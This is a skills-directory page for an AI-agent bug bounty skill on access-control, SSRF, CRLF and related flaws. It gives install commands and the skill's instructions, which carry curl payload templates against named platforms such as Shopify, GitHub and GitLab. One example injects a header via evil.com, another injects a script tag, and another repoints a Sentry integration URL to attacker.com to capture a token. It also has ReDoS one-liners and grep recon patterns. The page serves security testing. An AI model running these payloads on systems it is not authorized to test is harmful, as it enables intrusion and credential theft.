hunt-misc skill
Hunting skill for misc vulnerabilities. Built from 225 public bug bounty reports. Use when hunting misc on any target.
Is the hunt-misc skill safe?
Clean: nothing in its files matched our rules. We read 1 file in the folder on 2026-09-28.
No findings.
Install the hunt-misc skill
A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter mkdir -p ~/.claude/skills cp -r /tmp/Claude-BugHunter/skills/hunt-misc ~/.claude/skills/hunt-misc
In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub
The instructions your agent would load
SKILL.md as published, without the frontmatter. Read it on GitHub
Crown Jewel Targets
Why this vuln class pays: MISC vulnerabilities span access control failures, information disclosure, session/auth logic bugs, and misconfiguration — the categories that consistently produce the highest payouts because they map directly to business impact: data exposure, account takeover, privilege escalation, and infrastructure compromise.
Highest-value targets:
- SaaS platforms with role hierarchies (Shopify, GitHub, GitLab) — any boundary between owner/admin/staff/guest is a privilege escalation surface
- Identity/auth flows — invitation links, password reset, SAML SSO, OAuth token scopes
- Multi-tenant systems — one tenant touching another tenant's data
- Internal APIs — LFS endpoints, pre-receive hooks, internal GraphQL/REST that assume caller is trusted
- Domain/DNS management features — transfer controls, subdomain delegation
- Token/credential management — PAT scopes, deploy keys, API tokens stored in config fields
Asset types that pay most:
- Core product APIs (not marketing subdomains)
- Enterprise/self-hosted editions (GitHub Enterprise, GitLab EE)
- Partner/collaborator invitation systems
- OAuth app integrations and webhook endpoints
Attack Surface Signals
URL patterns to watch:
/admin/*/transfer
/invitations/*
/partners/*/accept
/api/v*/repos/*/lfs/*
/-/settings/integrations/sentry
/api/v*/user/installations
/hooks/pre-receive/*
/reset-password?token=
/auth/saml/callback
/api/v*/packages/pypi/*Response header signals:
X-Request-Id (pitchfork/Rack — check for header injection)
X-Shopify-Shop-Api-Call-Limit
X-GitLab-*JS patterns revealing internal surfaces:
// Look for hardcoded internal API paths
fetch('/internal/api/
graphql { installations(
"scope": [], // empty scopes on tokens
"permissions": {"contents": "read"} // minimal scope PATsTech stack signals:
- Ruby/Rack middleware (CRLF injection risk in pitchfork)
- SAML SSO enabled on enterprise instances
- PyPI proxy/mirror configurations (dependency confusion)
- Sentry error tracking integration fields (SSRF/token leak vector)
- Multi-role invitation systems (partners, staff, collaborators)
Step-by-Step Hunting Methodology
- Map all role/permission boundaries — enumerate every role level (owner → admin → staff → guest → removed) and document what each role should see
Marker Discipline: when probing role boundaries by injecting unique tokens / identifiers into per-role test data, markers MUST be unique random alphanumeric strings (8+ chars, no English words, no protocol keywords). Bad markers: test, marker, attacker, evil, admin, AAAA. Good markers: cpmark987abc, x4hd2k9pq. Before claiming any reflection, search the baseline (no-marker) response for the marker — if it appears naturally, change your marker.
Body-Diff Rule: a privilege-bypass claim requires response BODY differential, not status-code-only. 200 OK with byte-identical body to baseline is NOT a bypass. Always diff bodies side-by-side before claiming bypass. Status-code-only claims are the most common rejected-as-N/A category on bug-bounty platforms.
- Test invitation flows end-to-end — accept invitations without completing verification steps; modify invitation tokens; test whether accepting an invitation as a different user grants access
- Test post-removal access — add a user to a resource, remove them, then test if their session/token still grants access (especially after company/org removal)
- Fuzz token scope enforcement — create PATs/tokens with minimal or no scopes, then call API endpoints that should require elevated scopes
- Test cross-tenant resource access — as Tenant A, attempt to read/write Tenant B's resources by manipulating IDs, paths, or headers
- Probe internal/undocumented API endpoints — look for LFS endpoints, internal GraphQL operations, pre-receive hook environments, webhook delivery logs
- Check SAML/SSO logic — test signature verification bypass by stripping signatures, modifying NameID, replaying assertions, or manipulating XML namespace
- Audit configuration fields for SSRF/token exfiltration — any URL field in admin settings (Sentry DSN, webhook URL, proxy URL) is a potential SSRF or credential leak
- Test password reset and email verification flows — skip email verification steps; test whether reset tokens are scoped to a single user; test token reuse
- Check HTTP header injection points — any user-controlled input passed into response headers via Ruby/Rack middleware; test CRLF sequences
- Verify DNS/subdomain hygiene — enumerate subdomains, check for dangling CNAME records, verify SPF/DMARC/DKIM records
- Test package registry proxy configurations — look for dependency confusion via forwarded requests to public registries (PyPI, npm, RubyGems)
Payload & Detection Patterns
CRLF/Header Injection (Ruby Net::HTTP, Rack/pitchfork):
# Test CRLF in header values
curl -v "https://target.com/path" \
-H $'X-Custom: value\r\nInjected-Header: evil'
# URL-encoded variant
curl -v "https://target.com/redirect?url=https://evil.com%0d%0aSet-Cookie:%20session=attacker"
# Test in pitchfork/Rack apps — inject via query param reflected in Location header
curl -v "https://shop.myshopify.com/login?return_to=%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>"Privilege escalation via invitation bypass:
# Accept invitation without email verification
curl -X POST "https://target.com/invitations/INVITE_TOKEN/accept" \
-H "Cookie: session=UNVERIFIED_SESSION" \
-d '{"role":"admin"}'
# Test invitation token for another user
curl -X GET "https://target.com/partners/PARTNER_ID/invitation/accept?token=LEAKED_TOKEN" \
-H "Cookie: session=VICTIM_SESSION"Token scope bypass (GitHub/GitLab PAT):
# Call privileged endpoint with minimal-scope token
curl -H "Authorization: token ghp_MINIMAL_SCOPE_TOKEN" \
"https://api.github.com/repos/org/private-repo/issues"
# Test suspended installation access
curl -H "Authorization: Bearer USER_TO_SERVER_TOKEN" \
"https://api.github.com/app/installations/SUSPENDED_INSTALL_ID"SSRF via config URL fields (Sentry integration):
# Change Sentry URL to internal listener
curl -X PUT "https://gitlab.com/api/v4/projects/PROJECT_ID/services/sentry" \
-H "PRIVATE-TOKEN: MAINTAINER_TOKEN" \
-d '{"api_url": "https://attacker.com/capture", "auth_token": "sentry_token"}'ReDoS detection:
# Test Ruby URI parser
ruby -e 'require "uri"; URI.parse("http://a.com?" + "a"*5000 + "##")'
# Test IPAddr
ruby -e 'require "ipaddr"; IPAddr.new("0." * 1000 + "0")'
# Timing-based detection
time curl "https://target.com/search?q=aaaa" # baseline
time curl "https://target.com/search?q=$(python3 -c 'print("a"*5000 + "##")')"Grep patterns for source recon:
# Find SAML signature verification
grep -r "validate_signature\|verify_signature\|skip.*signature" --include="*.rb"
# Find hardcoded or weak scope checks
grep -r "without_scope\|any_scope\|scope.*bypass" --include="*.rb"
# Find invitation acceptance without verification
grep -r "accept.*invitation\|invitation.*accept" --include="*.rb" | grep -v "verified\|confirmed"
# Find internal API routes
grep -r "internal_api\|/_internal/\|/internal/" --include="*.rb" --include="*.js"Dangling subdomain / DNS check:
# Check for obsolete DNS records
dig CNAME handbook.gitlab.com
curl -sI https://handbook.gitlab.com | head -5
# Look for NXDOMAIN or 404 on hosting provider = takeover candidate
# SPF check
dig TXT rubylang.org | grep spf
# Missing or ~all = email spoofing riskCommon Root Causes
- Soft deletes without permission invalidation — removing a user from an org marks them as removed but doesn't revoke active sessions or cached permission checks; subsequent API calls still pass old auth context
- Invitation acceptance without verification gate — developers implement invitation flow optimistically (assume user who received email is legitimate) and skip re-verification when token is consumed by a different session
- Token scope checked at issuance, not at use — PAT/OAuth scopes validated when token is created but individual API endpoint handlers don't re-check scope, trusting middleware that may have a gap
- Role-based access control checked at UI layer only — frontend hides buttons for restricted roles but backend API endpoints don't enforce the same restriction; direct API calls bypass UI gating
- SAML XML parsing quirks — signature covers only part of the document; XML canonicalization differences allow unsigned content to pass verification; namespace prefix attacks
- Config/URL fields trusted as internal — integration URL fields (Sentry, webhooks) assumed to be set only by trusted admins; maintainer-level roles can modify them to exfiltrate tokens
- Ruby header injection via string interpolation — developer builds HTTP response headers by string concatenation without sanitizing newlines; Rack 3 behavioral changes exposed previously-hidden bugs
- Proxy/mirror configs forwarding all requests upstream — package registries configured to fall back to public registries without restricting which packages are internal-only, enabling dependency confusion
- Pre-receive hook environments exposing privileged context — hook scripts run with access to internal environment variables, git internals, or SSH keys that shouldn't be user-accessible
- Multi-device session design conflated with session fixation — engineers implement "remember me across devices" by issuing non-expiring tokens, treating it as a feature while creating persistent access risk
- Server-policy responses mistaken for state-based oracles — when many different path types return the SAME response shape, suspect a server-side blocklist/policy filter, NOT a real file-existence / user-existence / resource-existence oracle. Engineers add blanket filters (e.g., "block any path ending in .config/.ashx/.asmx/.svc") that return the same error regardless of whether the underlying file exists. Don't infer "file exists" from "blocked"; verify with an independent signal (Collaborator callback, response-time differential at scale, or out-of-band confirmation). Lesson: SharePoint's download.aspx?SourceUrl= returned "blocked from this Web site by the server administrators" for .ashx/.asmx/.svc/.config extensions regardless of whether the underlying file existed — looked like a file-existence oracle, was actually the extension blocklist. Treating it as the former produced a list of "discovered custom customer-branded endpoints" that didn't actually exist.
Bypass Techniques
Defender mitigations and how to bypass them:
Gate 0 Validation
More skills from elementalsouls/Claude-BugHunter
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- Abugcrowd-reportingBugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side hygiene (Bugcrowdninja email alias, account state restoration, friendly-tester posture). Use when filing a Bugcrowd submission, when VRT default seems wrong, when triager closes as OOS or downgrades severity, when chaining linked submissions, or when scope distinguishes production from QA. Pairs with report-writing and triage-validation.
- Acloud-iam-deepCloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.
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